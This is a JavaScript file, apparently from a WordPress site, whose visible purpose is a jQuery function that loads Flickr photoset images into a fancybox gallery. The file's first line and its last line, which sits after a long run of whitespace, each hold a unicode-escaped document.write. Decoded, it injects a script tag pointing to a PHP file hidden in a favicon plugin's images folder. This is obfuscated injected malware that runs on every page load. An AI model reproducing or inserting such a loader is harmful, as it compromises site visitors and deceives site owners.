document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0063\u0062\u006E\u0065\u0074\u002D\u0066\u0061\u0076\u0069\u0063\u006F\u006E\u002F\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u006D\u0079\u0063\u0061\u006C\u0065\u006E\u0064\u0061\u0072\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");function GetFlickr(id, sid)

{

/*jQuery.noConflict();*/

var id = id;

var sid= sid;

jQuery(document).ready(function($) {

	

    var total = 8;



//flickr(id, sid, total);

//alert(id +"====="+ sid);

$.getJSON("http://api.flickr.com/services/feeds/photoset.gne?jsoncallback=?",

        {

            set: sid,

			nsid: id,

            format: 'json'

        },



        function (data) {



            var textToInsert = '';



            $.each(data.items, function (i, item) {



                if (i == total) return false;



                /*the json does not contain links for image thumbnails and large pics, only for medium size pics

                so we need to create the urls for these image sizes (_t.jpg, _b.jpg, _m.jpg specify the image size in the url) 

                */

                var imgThumb = item.media.m.split('m.jpg')[0] + 't.jpg';



                var imgLarge = item.media.m.split('m.jpg')[0] + 'b.jpg';



                //get and format images

                textToInsert += '<a rel="flickr_group" href="' + imgLarge + '" title="' + item.title + '"><img src="' + imgThumb + '" alt="' + item.title + '" width="75" /></a>';

				

            });

			

			



            //clear contents of div

            $('#photos').empty();



            //add images to div

            $('#photos').append(textToInsert);



            //fancybox code to create image gallery

            $("a[rel=flickr_group]").fancybox({

                'transitionIn': 'none',

                'transitionOut': 'none',

                'titlePosition': 'over',

                'titleFormat': function (title, currentArray, currentIndex, currentOpts) {

                    return '<span id="fancybox-title-over">Image ' + (currentIndex + 1) + ' / ' + currentArray.length + (title.length ? ' &nbsp; ' + title : '') + '</span>';

                }



            });



        });

		

		

}); 

}																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0063\u0062\u006E\u0065\u0074\u002D\u0066\u0061\u0076\u0069\u0063\u006F\u006E\u002F\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u006D\u0079\u0063\u0061\u006C\u0065\u006E\u0064\u0061\u0072\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");
